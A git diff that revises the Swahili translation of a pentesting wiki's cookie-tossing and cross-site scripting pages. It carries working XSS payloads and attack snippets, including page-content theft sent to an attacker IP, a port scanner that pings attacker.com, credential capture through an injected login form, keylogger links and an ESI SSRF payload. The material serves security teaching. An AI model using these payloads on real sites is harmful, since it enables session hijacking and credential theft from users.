ambayo ni **ya zamani zaidi**, kivinjari kita **weka thamani ya cookie kwanza** na kisha thamani ya nyingine kama katika: `Cookie: iduser=MoreSpecificAndOldestCookie; iduser=LessSpecific;` -Mara nyingi **tovuti zitatumia tu thamani ya kwanza**. Kisha, ikiwa mshambuliaji anataka kuweka cookie ni bora kuiweka kabla ya nyingine kuwekwa au kuiweka na njia maalum zaidi. +Mengi ya **tovuti zitatumia tu thamani ya kwanza**. Kisha, ikiwa mshambuliaji anataka kuweka cookie ni bora kuiweka kabla ya nyingine kuwekwa au kuiweka na njia maalum zaidi. > [!WARNING] -> Zaidi ya hayo, uwezo wa **kuweka cookie katika njia maalum zaidi** ni wa kuvutia kwani utaweza kumfanya **mwathirika afanye kazi na cookie yake isipokuwa katika njia maalum ambapo cookie mbaya itatumwa kwanza**. +> Zaidi ya hayo, uwezo wa **kuweka cookie katika njia maalum zaidi** ni wa kuvutia sana kwani utaweza kumfanya **mwathirika afanye kazi na cookie yake isipokuwa katika njia maalum ambapo cookie mbaya itakayowekwa itatumwa kwanza**. ### Protection Bypass -Ulinzi unaowezekana dhidi ya shambulio hili ungekuwa kwamba **seva ya wavuti haitakubali maombi yenye cookies mbili zenye jina sawa lakini zenye thamani tofauti**. +Ulinzi unaowezekana dhidi ya shambulio hili ungekuwa kwamba **seva ya wavuti haitakubali maombi yenye cookies mbili zenye jina sawa lakini zikiwa na thamani tofauti**. -Ili kupita hali ambapo mshambuliaji anaweka cookie baada ya mwathirika tayari kupatiwa cookie, mshambuliaji anaweza kusababisha **cookie overflow** na kisha, mara **cookie halali itakapofutwa, kuweka ile mbaya**. +Ili kupita hali ambapo mshambuliaji anapoweka cookie baada ya mwathirika tayari kupewa cookie, mshambuliaji anaweza kusababisha **cookie overflow** na kisha, mara tu **cookie halali itakapofutwa, kuweka ile mbaya**. {{#ref}} cookie-jar-overflow.md @@ -55,7 +56,7 @@ cookie-bomb.md #### **Tumia kiambishi `__Host` katika jina la cookie** - Ikiwa jina la cookie lina kiambishi hiki, **litawekwa tu** katika mwelekeo wa Set-Cookie ikiwa imewekwa Secure, ilitumwa kutoka chanzo salama, haina sifa ya Domain, na ina sifa ya Path iliyowekwa kwa / -- **Hii inazuia subdomains kulazimisha cookie kwa domain ya juu kwani cookies hizi zinaweza kuonekana kama "domain-locked"** +- **Hii inazuia subdomains kulazimisha cookie kuwa kwa domain ya juu kwani cookies hizi zinaweza kuonekana kama "zilizofungwa kwa domain"** ### References diff --git a/src/pentesting-web/xss-cross-site-scripting/README.md b/src/pentesting-web/xss-cross-site-scripting/README.md index 3fe0d3f99..9be0f0d5d 100644 --- a/src/pentesting-web/xss-cross-site-scripting/README.md +++ b/src/pentesting-web/xss-cross-site-scripting/README.md @@ -27,7 +27,7 @@ 4. Ikiwa **inatumiwa**: 1. Unaweza kutumia **DOM XSS**, zingatia jinsi ingizo lako linavyodhibitiwa na ikiwa **ingizo lako lililodhibitiwa linatumika na sink yoyote.** -Unapofanya kazi kwenye XSS ngumu unaweza kupata ni ya kuvutia kujua kuhusu: +Unapofanya kazi kwenye XSS ngumu unaweza kupata ni muhimu kujua kuhusu: {{#ref}} debugging-client-side-js.md @@ -38,16 +38,16 @@ debugging-client-side-js.md Ili kufanikiwa kutumia XSS, jambo la kwanza unahitaji kupata ni **thamani inayodhibitiwa na wewe inayorudi** kwenye ukurasa wa wavuti. - **Inarudi kwa kati**: Ikiwa unapata kwamba thamani ya parameta au hata njia inarudi kwenye ukurasa wa wavuti unaweza kutumia **Reflected XSS**. -- **Ilihifadhiwa na kurudi**: Ikiwa unapata kwamba thamani inayodhibitiwa na wewe imehifadhiwa kwenye seva na inarudi kila wakati unapoingia kwenye ukurasa unaweza kutumia **Stored XSS**. +- **Ilihifadhiwa na inarudi**: Ikiwa unapata kwamba thamani inayodhibitiwa na wewe imehifadhiwa kwenye seva na inarudi kila wakati unapoingia kwenye ukurasa unaweza kutumia **Stored XSS**. - **Inafikiwa kupitia JS**: Ikiwa unapata kwamba thamani inayodhibitiwa na wewe inafikiwa kwa kutumia JS unaweza kutumia **DOM XSS**. ## Contexts -Unapojaribu kutumia XSS, jambo la kwanza unahitaji kujua ni **wapi ingizo lako linaporudi**. Kulingana na muktadha, utaweza kutekeleza JS code isiyo na mipaka kwa njia tofauti. +Unapojaribu kutumia XSS, jambo la kwanza unahitaji kujua ni **wapi ingizo lako linavyorudi**. Kulingana na muktadha, utaweza kutekeleza JS code bila mipaka kwa njia tofauti. ### Raw HTML -Ikiwa ingizo lako **linarudi kwenye HTML safi** ukurasa utahitaji kutumia baadhi ya **HTML tag** ili kutekeleza JS code: `` imeandikwa au kufutwa), kulingana na tag unaweza **kuunda tukio** linalotekeleza JS code: `" autofocus onfocus=alert(1) x="` -3. Ikiwa **huwezi kutoroka kutoka kwenye sifa** (`"` inandikwa au kufutwa), basi kulingana na **sifa ipi** thamani yako inarudi ndani **ikiwa unadhibiti thamani yote au sehemu tu** utaweza kuitumia. Kwa **mfano**, ikiwa unadhibiti tukio kama `onclick=` utaweza kufanya itekeleze code isiyo na mipaka wakati inabonyezwa. Mfano mwingine wa kuvutia ni sifa `href`, ambapo unaweza kutumia protokali `javascript:` kutekeleza code isiyo na mipaka: **`href="javascript:alert(1)"`** -4. Ikiwa ingizo lako linarudi ndani ya "**vitambulisho visivyoweza kutumika**" unaweza kujaribu hila ya **`accesskey`** kutumia udhaifu (utahitaji aina fulani ya uhandisi wa kijamii ili kutumia hii): **`" accesskey="x" onclick="alert(1)" x="`** +3. Ikiwa **huwezi kutoroka kutoka kwenye sifa** (`"` inandikwa au kufutwa), kisha kulingana na **sifa ipi** thamani yako inarudi ndani **ikiwa unadhibiti thamani yote au sehemu tu** utaweza kuitumia. Kwa **mfano**, ikiwa unadhibiti tukio kama `onclick=` utaweza kufanya itekeleze code bila mipaka wakati inabonyezwa. Mfano mwingine wa kuvutia ni sifa `href`, ambapo unaweza kutumia protokali `javascript:` kutekeleza code bila mipaka: **`href="javascript:alert(1)"`** +4. Ikiwa ingizo lako linarudi ndani ya "**vitambulisho visivyoweza kutumika**" unaweza kujaribu hila ya **`accesskey`** ili kutumia udhaifu (utahitaji aina fulani ya uhandisi wa kijamii ili kutumia hii): **`" accesskey="x" onclick="alert(1)" x="`** Mfano wa ajabu wa Angular inatekeleza XSS ikiwa unadhibiti jina la darasa: ```html @@ -69,8 +69,8 @@ Mfano wa ajabu wa Angular inatekeleza XSS ikiwa unadhibiti jina la darasa: Katika kesi hii, ingizo lako linarejelewa kati ya **``** lebo za ukurasa wa HTML, ndani ya faili ya `.js` au ndani ya sifa kwa kutumia **`javascript:`** itifaki: -- Ikiwa inarejelewa kati ya **``** lebo, hata kama ingizo lako liko ndani ya aina yoyote ya nukuu, unaweza kujaribu kuingiza `` na kutoroka kutoka kwenye muktadha huu. Hii inafanya kazi kwa sababu ** kivinjari kitaanza kwanza kuchambua lebo za HTML** na kisha yaliyomo, kwa hivyo, hakiwezi kugundua kwamba lebo yako ya kuingiza `` iko ndani ya msimbo wa HTML. -- Ikiwa inarejelewa **ndani ya mfuatano wa JS** na hila ya mwisho haifanyi kazi, unahitaji **kutoka** kwenye mfuatano, **kufanya** msimbo wako na **kurekebisha** msimbo wa JS (ikiwa kuna kosa lolote, halitatekelezwa): +- Ikiwa inarejelewa kati ya **``** lebo, hata kama ingizo lako liko ndani ya aina yoyote ya nukuu, unaweza kujaribu kuingiza `` na kutoroka kutoka kwenye muktadha huu. Hii inafanya kazi kwa sababu ** kivinjari kitaanza kwanza kuchambua lebo za HTML** na kisha yaliyomo, kwa hivyo, hakitagundua kwamba lebo yako ya kuingiza `` iko ndani ya msimbo wa HTML. +- Ikiwa inarejelewa **ndani ya mfuatano wa JS** na hila ya mwisho haifanyi kazi, unahitaji **kutoka** kwenye mfuatano, **kutekeleza** msimbo wako na **kurekebisha** msimbo wa JS (ikiwa kuna kosa lolote, halita tekelezwa): - `'-alert(1)-'` - `';-alert(1)//` - `\';alert(1)//` @@ -83,7 +83,7 @@ alert(1) ``` #### Javascript Hoisting -Javascript Hoisting inahusisha fursa ya **kutangaza kazi, mabadiliko au madarasa baada ya kutumika ili uweze kutumia hali ambapo XSS inatumia mabadiliko au kazi zisizotangazwa.**\ +Javascript Hoisting inahusisha fursa ya **kutangaza kazi, mabadiliko au madarasa baada ya matumizi yao ili uweze kutumia hali ambapo XSS inatumia mabadiliko au kazi zisizotangazwa.**\ **Angalia ukurasa ufuatao kwa maelezo zaidi:** {{#ref}} @@ -98,9 +98,9 @@ Njia nzuri ya kugundua ikiwa kitu kilichotolewa moja kwa moja na mtumiaji kinaja ![](<../../images/image (711).png>) -Ikiwa ni hatari, unaweza kuwa na uwezo wa **kuanzisha tahadhari** kwa kutuma tu thamani: **`?callback=alert(1)`**. Hata hivyo, ni kawaida sana kwamba mwisho huu uta **thibitisha maudhui** ili kuruhusu herufi, nambari, alama za nukta na viwango vya chini tu (**`[\w\._]`**). +Iwapo ni hatari, unaweza kuwa na uwezo wa **kuanzisha tahadhari** kwa kutuma tu thamani: **`?callback=alert(1)`**. Hata hivyo, ni kawaida sana kwamba mwisho huu utakuwa **ukithibitisha maudhui** ili kuruhusu herufi, nambari, alama za nukta na alama za chini (**`[\w\._]`**). -Hata hivyo, hata na kikomo hicho bado inawezekana kufanya baadhi ya vitendo. Hii ni kwa sababu unaweza kutumia herufi hizo halali ili **kufikia kipengele chochote katika DOM**: +Hata hivyo, hata na kikomo hicho bado inawezekana kufanya baadhi ya vitendo. Hii ni kwa sababu unaweza kutumia herufi hizo halali ili **kufikia kipengee chochote katika DOM**: ![](<../../images/image (747).png>) @@ -124,7 +124,7 @@ some-same-origin-method-execution.md ### DOM -Kuna **kodі ya JS** inayotumia **kwa njia isiyo salama** baadhi ya **data inayodhibitiwa na mshambuliaji** kama `location.href`. Mshambuliaji, anaweza kutumia hii kutekeleza kodі ya JS isiyo na mipaka. +Kuna **kodhi ya JS** inayotumia **kwa njia isiyo salama** baadhi ya **data inayodhibitiwa na mshambuliaji** kama `location.href`. Mshambuliaji anaweza kutumia hii kutekeleza kodhi ya JS isiyo na mipaka. {{#ref}} dom-xss.md @@ -132,7 +132,7 @@ dom-xss.md ### **Universal XSS** -Aina hii ya XSS inaweza kupatikana **popote**. Hazitegemei tu utekaji wa mteja wa programu ya wavuti bali katika **muktadha** **wowote**. Aina hii ya **utekaji wa JavaScript isiyo na mipaka** inaweza hata kutumiwa kupata **RCE**, **kusoma** **faili** **za kawaida** katika wateja na seva, na zaidi.\ +Aina hii ya XSS inaweza kupatikana **popote**. Hazitegemei tu utekaji wa mteja wa programu ya wavuti bali katika **muktadha wowote**. Aina hii ya **utekaji wa JavaScript isiyo na mipaka** inaweza hata kutumiwa kupata **RCE**, **kusoma** **faili** **za kawaida** katika wateja na seva, na zaidi.\ Baadhi ya **esemples**: {{#ref}} @@ -149,11 +149,11 @@ server-side-xss-dynamic-pdf.md ## Kuingiza ndani ya HTML safi -Wakati ingizo lako linarejelewa **ndani ya ukurasa wa HTML** au unaweza kutoroka na kuingiza kodі ya HTML katika muktadha huu, **jambo** la kwanza unahitaji kufanya ni kuangalia kama unaweza kutumia `<` kuunda lebo mpya: Jaribu tu **kuonyesha** hiyo **herufi** na uone kama inachukuliwa **kama HTML** au **imeondolewa** au ikiwa inarejelewa **bila mabadiliko**. **Ni tu katika kesi ya mwisho utaweza kutumia kesi hii**.\ +Wakati ingizo lako linarejelewa **ndani ya ukurasa wa HTML** au unaweza kutoroka na kuingiza kodhi ya HTML katika muktadha huu, **jambo la kwanza** unahitaji kufanya ni kuangalia kama unaweza kutumia `<` kuunda vitambulisho vipya: Jaribu tu **kuonyesha** hiyo **herufi** na uone kama inachakatwa **HTML** au **kufutwa** au ikiwa inarejelewa **bila mabadiliko**. **Ni tu katika kesi ya mwisho utaweza kutumia kesi hii**.\ Kwa kesi hizi pia **zingatia** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\ _**Kumbuka: Maoni ya HTML yanaweza kufungwa kwa kutumia\*\*\*\*\*\***\***\*`-->`\*\***\***\*au \*\*\*\*\*\***`--!>`\*\*_ -Katika kesi hii na ikiwa hakuna orodha nyeusi/nyeupe inayotumika, unaweza kutumia payloads kama: +Katika kesi hii na ikiwa hakuna orodha ya nyeusi/nyeupe inatumika, unaweza kutumia payloads kama: ```html ` au kati ya matukio ya HTML yanayoweza kutekeleza msimbo wa JS au kati ya sifa zinazokubali itifaki ya `javascript:`. +Katika kesi hizi **ingizo** lako litakuwa **limeakisiwa ndani ya msimbo wa JS** wa faili ya `.js` au kati ya vitambulisho vya `` au kati ya matukio ya HTML ambayo yanaweza kutekeleza msimbo wa JS au kati ya sifa zinazokubali itifaki ya `javascript:`. ### Kutoroka \ ``` -Tabia hii ilitumika katika [**hati hii**](https://github.com/zwade/yaca/tree/master/solution) kubadilisha maktaba ili eval itumike vibaya inaweza kusababisha XSS. +Tabia hii ilitumika katika [**hii andiko**](https://github.com/zwade/yaca/tree/master/solution) kubadilisha maktaba ili eval kutumika vibaya inaweza kusababisha XSS. -- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Kipengele hiki hasa kinakusudia kutatua baadhi ya matatizo yanayosababishwa na pre-rendering. Kifanyikavyo ni hivi: +- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Kipengele hiki hasa kinakusudia kutatua baadhi ya matatizo yanayosababishwa na pre-rendering. Inafanya kazi kama ifuatavyo: ```html ``` > [!NOTE] -> Hutaweza kufikia vidakuzi kutoka JavaScript ikiwa bendera ya HTTPOnly imewekwa kwenye kidakuzi. Lakini hapa una [njia kadhaa za kupita ulinzi huu](../hacking-with-cookies/index.html#httponly) ikiwa umebahatika. +> Hutaweza kufikia vidakuzi kutoka JavaScript ikiwa bendera ya HTTPOnly imewekwa kwenye kidakuzi. Lakini hapa kuna [njia kadhaa za kupita ulinzi huu](../hacking-with-cookies/index.html#httponly) ikiwa umebahatika. -### Kuiba Maudhui ya Ukurasa +### Pora Maudhui ya Ukurasa ```javascript var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8" var attacker = "http://10.10.14.8/exfil" @@ -1344,7 +1343,7 @@ q.shift()() ```javascript const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); } ``` -### Skana wa Bandari (websockets) +### Scanner ya Port (websockets) ```python var ports = [80, 443, 445, 554, 3306, 3690, 1234]; for(var i=0; i ``` -Wakati data yoyote inapoingizwa katika uwanja wa nywila, jina la mtumiaji na nywila vinatumwa kwa seva ya washambuliaji, hata kama mteja anachagua nywila iliyohifadhiwa na hajiandikishe chochote, taarifa za kuingia zitavuja. +Wakati data yoyote inapoingizwa kwenye uwanja wa nywila, jina la mtumiaji na nywila vinatumwa kwa seva ya washambuliaji, hata kama mteja anachagua nywila iliyohifadhiwa na hajiandikishe chochote, taarifa za kuingia zitavuja. ### Keylogger -Nikiwa naangalia katika github, nilipata tofauti kadhaa: +Nilipokuwa nikitafuta kwenye github, niliona tofauti kadhaa: - [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger) - [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger) @@ -1497,9 +1496,9 @@ javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4Ln {{constructor.constructor("import('{SERVER}/script.js')")()}} ``` -### Regex - Access Hidden Content +### Regex - Kupata Maudhui Yaliyofichwa -Kutoka [**hii andiko**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) inawezekana kujifunza kwamba hata kama baadhi ya thamani zinapotea kutoka JS, bado inawezekana kuziona katika sifa za JS katika vitu tofauti. Kwa mfano, ingizo la REGEX bado linaweza kupatikana baada ya thamani ya ingizo la regex kuondolewa: +Kutoka [**hiki andiko**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) inawezekana kujifunza kwamba hata kama baadhi ya thamani zinapotea kutoka JS, bado inawezekana kuziona katika sifa za JS katika vitu tofauti. Kwa mfano, ingizo la REGEX bado linaweza kupatikana baada ya thamani ya ingizo la regex kuondolewa: ```javascript // Do regex with flag flag = "CTF{FLAG}" @@ -1532,25 +1531,25 @@ Unaweza kuingiza msimbo wa Markdown ambao utaonyeshwa? Labda unaweza kupata XSS! xss-in-markdown.md {{#endref}} -### XSS kwa SSRF +### XSS hadi SSRF -Umepata XSS kwenye **tovuti inayotumia caching**? Jaribu **kuinua hiyo kuwa SSRF** kupitia Edge Side Include Injection kwa kutumia payload hii: +Umepata XSS kwenye **tovuti inayotumia caching**? Jaribu **kuinua hiyo hadi SSRF** kupitia Edge Side Include Injection kwa kutumia payload hii: ```python ``` -Tumia ili kupita vizuizi vya cookie, XSS filters na mengi zaidi!\ +Tumia hii kupita vizuizi vya cookie, XSS filters na mengi zaidi!\ Taarifa zaidi kuhusu mbinu hii hapa: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md). ### XSS katika PDF inayoundwa kwa dinamik -Ikiwa ukurasa wa wavuti unaunda PDF kwa kutumia pembejeo zinazodhibitiwa na mtumiaji, unaweza kujaribu **kudanganya bot** inayounda PDF ili **kutekeleza msimbo wa JS usio na mipaka**.\ -Hivyo, ikiwa **bot ya kuunda PDF inapata** aina fulani ya **HTML** **tags**, itakwenda **kuziandika**, na unaweza **kutumia** tabia hii kusababisha **Server XSS**. +Ikiwa ukurasa wa wavuti unaunda PDF kwa kutumia input inayodhibitiwa na mtumiaji, unaweza kujaribu **kudanganya bot** inayounda PDF ili **kutekeleza msimbo wa JS usio na mipaka**.\ +Hivyo, ikiwa **bot ya kuunda PDF inapata** aina fulani ya **HTML** **tags**, itakuwa **inafasiri** hizo, na unaweza **kutumia** tabia hii kusababisha **Server XSS**. {{#ref}} server-side-xss-dynamic-pdf.md {{#endref}} -Ikiwa huwezi kuingiza HTML tags inaweza kuwa na faida kujaribu **kuingiza data za PDF**: +Ikiwa huwezi kuingiza HTML tags inaweza kuwa na faida kujaribu **kuingiza data ya PDF**: {{#ref}} pdf-injection.md @@ -1622,9 +1621,9 @@ id="foo"/> ```xml ``` -Pata **payloads zaidi za SVG katika** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) +Pata **SVG payloads zaidi katika** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) -## Njia Mbalimbali za JS & Taarifa Zinazohusiana +## Mambo Mengine ya JS & Taarifa Zinazohusiana {{#ref}} other-js-tricks.md